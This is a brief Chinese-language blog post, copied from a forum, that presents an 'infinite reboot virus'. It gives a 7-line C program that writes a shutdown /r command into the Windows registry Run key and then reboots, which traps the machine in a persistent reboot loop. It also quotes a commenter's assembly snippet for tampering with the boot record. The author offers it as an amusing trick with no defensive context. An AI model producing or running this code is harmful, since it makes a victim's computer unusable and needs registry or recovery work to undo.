无限重启病毒
在鱼C论坛上看到的,觉得挺有趣的,就copy过来了。实际上就7行代码,废话不多说,直接上代码。
#include<stdlib.h>
int main()
{
system("reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v restart /t REG_SZ /d \"C:\\Windows\\System32\\shutdown /r\"");
system("shutdown /r");
return 0;
}
看到下面有人评论说修改引导记录也可以实现
push 0ffffh
push 0
retf
这真是个有趣的话题,而且是个在公司不敢尝试的话题。
附上此话题论坛网址无效重启病毒